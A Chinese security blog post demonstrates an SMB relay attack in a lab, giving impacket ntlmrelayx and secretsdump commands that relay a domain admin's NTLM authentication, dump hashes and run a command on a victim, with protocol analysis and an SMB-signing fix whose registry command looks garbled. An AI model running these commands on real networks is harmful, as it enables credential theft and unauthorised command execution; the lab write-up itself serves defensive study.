Windows SMB请求重放攻击分析

smb中继或叫smb请求重放攻击,B是一个smb服务器,A来进行认证,B将A的认证信息转发到C上,如果A的凭证在C上认证成功就能进行下一步操作,如创建服务执行命令。如果在域中控制了某些常用服务,如:WEB OA系统、文件共享等服务则可以尝试使用SMB中继攻击来引诱域管理员访问达到获取其他机器权限的目的。

30.png环境

192.168.123.10 win 7  域管理员(administrator)机器

192.168.123.11 kali linux 攻击者机器

192.168.123.100 域内普通用户-受害者机器

攻击演示

需要smb签名关闭下才能进行利用,只有windows server的smb签名是默认开启的,像Windows 7的签名默认关闭

可以用nmap探测smb是否关闭

nmap --script smb-security-mode.nse -p445 192.168.123.0/24 --open

1.png下载impacket工具包

git clone https://github.com/CoreSecurity/impacket.git

192.168.123.11(攻击者机器) 执行

ntlmrelayx.py -tf hosts.txt -socks -smb2support

hosts.txt里面的内容是要进行中继的IP,机器越多成功率越高,我这里只有一个IP

2.png

然后让192.168.123.10(域管理员机器) 访问192.168.123.11(攻击者机器)的共享,可以架设一个web服务器,html页面里嵌入\攻击者地址,我这里为了方便演示就在本地写一个html

3.png

192.168.123.10(域管理员机器)访问共享时,提示如下说明中继成功

4.png
[*] Authenticating against smb://192.168.123.100 as Z3R0Administrator SUCCEED
[*] SOCKS: Adding Z3R0/ADMINISTRATOR@192.168.123.100(445) to active SOCKS connection. Enjoy

然后在本地会创建一个socks4代理

在 /etc/proxychains.conf 的最后一行填入

socks4 	192.168.123.11 1080

配置好socks4代理后攻击者执行

proxychains python secretsdump.py z3r0/Administrator@192.168.123.100

这样secretsdump.py发送出的认证数据包经过socks4代理中继就能成功进行认证5.png

如果不加上其他参数的话ntlmrelayx.py默认会dumphash

6.png

先看看视频效果图

上传时 freebuf提示图片超出大小限制(希望小编能处理下:) ),效果图地址:http://ringk3y.com/wp-content/uploads/2018/06/1.gif

原理分析

每一步smb请求都被192.168.123.11(攻击者机器)转发到了其他机器上

7.png1. 192.168.123.10(域管理员机器)向192.168.123.11(攻击者机器)商量smb协议版本

8.png

2. 192.168.123.11(攻击者机器)向192.168.123.100(受害者机器)商量smb协议版本

3.192.168.123.100(受害者机器)向192.168.123.11(攻击者机器)回答支持smb v2

9.png4.192.168.123.11(攻击者机器)向192.168.123.10(域管理员机器)回答支持smb v2

协商完就开始认证了

10.png1.192.168.123.10(域管理员机器)向192.168.123.11(攻击者机器)发出NTLMSSP_NEGOTIATE认证协商请求

2.192.168.123.11(攻击者机器)向192.168.123.100(受害者机器)发出NTLMSSP_NEGOTIATE认证协商请求

3.192.168.123.100(受害者机器)向192.168.123.11(攻击者机器)进行响应,响应包里含有challenge

11.png4.同样192.168.123.11(攻击者机器)向192.168.123.10(域管理员机器)进行响应,响应包里含有challenge

5.192.168.123.10(域管理员机器)收到challenge后用hash将challenge加密,作为NTLM Response字段发送给192.168.123.11(攻击者机器)

12.png6.同样,192.168.123.11(攻击者机器)将域管理员的认证请求也发往192.168.123.100(受害者机器)

13.png在响应包中可以看到已经认证成功了

14.png有了管理员权限就能为所欲为了

16.png因为没有目标机器密码所以不能进行正常的smb认证,ntlmrelayx脚本的socks4代理作用就是处理本地发往192.168.123.100 (受害者机器)流量起一个中继作用,因为已经认证过了就不用再进行认证,密码随便填一个就行,使用socks4代理时的smb的身份认证是域管理员。

可以通过创建服务来执行命令,当然ntlmrelayx.py也可以做到.

python ntlmrelayx.py -tf hosts.txt -c 'cmexe /c calc.exe'

18.png当192.168.123.10(域管理员机器)再次访问共享时,192.168.123.100(受害者机器)上可以看到calc已经运行了

17.png

总结

1.可以通过给域管理员发送邮件的方式来让他触发smb请求

2.当然如果域管理员触发了smb中继请求了也可以针对他所在那一台机器做中继,这样就能执行命令抓lsass.exe进程中的明文密码了

修复建议

将注册表项”RequireSecuritySignature”设置为 1 可以启用 SMB 签名

powershell执行

Set-ItemProperty -Path "HKLM:SYSTEMCurrentControlSetServicesLanmanWorkstationParameters" RequireSecureNegotiate -Value 1 –Force

文章来源:https://www.cnaaa.net,转载请注明出处:https://www.cnaaa.net/archives/7493

(0)
郭靖的头像郭靖
上一篇 2023年3月3日 下午4:26
下一篇 2023年3月6日 下午6:10

相关推荐

  • 网站发现打开是404报错

    现象:今日再使用IIS部署网站发现打开是404报错 分析过程:首先判断web下是否缺失文件,默认文档配置是否正确,PHP模块映射配置是否正确,PHP版本是否有故障。 发现php manager中php版本未能选择,重新选择php版本报错 解决办法:  打开处理程序映射,使php的处理程序为fastcgi,即可修复成功!!!

    2022年12月8日
    87500
  • 破解Esxi服务器中Windows虚机密码

    一.Esxi操作1.找到需要重置密码的Windows虚机点击操作,打开编辑设置 2.连接windows10的cd镜像 3.找到虚拟机选项,引导选择BIOS,并设置下次强制进入BIOS设置,然后保存 二.Windows虚机操作1.启动虚机,找到boot选项,将CD-ROM Drive设置为高优先引导后保存退出.重启虚机 2.重启后进入安装界面,点击下一步 找到…

    2023年10月11日
    73000
  • SSL/TLS协议信息泄露漏洞(CVE-2016-2183)修复

    一、漏洞说明 Windows server 2008或2012、2016远程桌面服务SSL加密默认是开启的,且有默认的CA证书。由于SSL/ TLS自身存在漏洞缺陷,当开启远程桌面服务,使用漏洞扫描工具扫描,发现存在SSL/TSL漏洞。例如如下漏洞: 二、修复办法 1、登录服务器,打开windows powershell,运行gpedit.msc,打开“本地…

    2022年11月16日
    1.4K00
  • Windows server 2012 r2 修改用户名、修改密码、设置服务器禁止ping、修改远程连接端口为39527、增加一个内网ip、安装mysql/php。

    修改用户名 1.打开左下角的win标,然后点管理工具 2.打开本机安全策略 3.打开本地策略-安全选项-翻到最下面,打开重命名系统管理员账户 4.双击打开,输入自己的需要的,然后点击“应用”-“确定” 5.然后到“计算机管理”这边,点击“本地用户和组”-“用户”,发现管理员的名称已经更改成功 修改密码 1.选择想改变密码的账户右击,选择“设置密码” 2.点击…

    2022年7月18日
    1.5K00
  • Windows下编译部署PHP

    1. 下载并解压PHP 下载地址:PHP:Download,找到Windows系统的安装包 2. 修改php配置文件 复制php.ini-development,改名为php.ini 修改扩展文件的路径,并取消注释 extension_dir=”php解压地址/ext” 修改需要加载的扩展文件,即将相应dll语句前的分号”;”删除 修改时区 搜索date.t…

    2022年6月8日
    1.1K00

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

在线咨询: QQ交谈

邮件:712342017@qq.com

工作时间:周一至周五,8:30-17:30,节假日休息

关注微信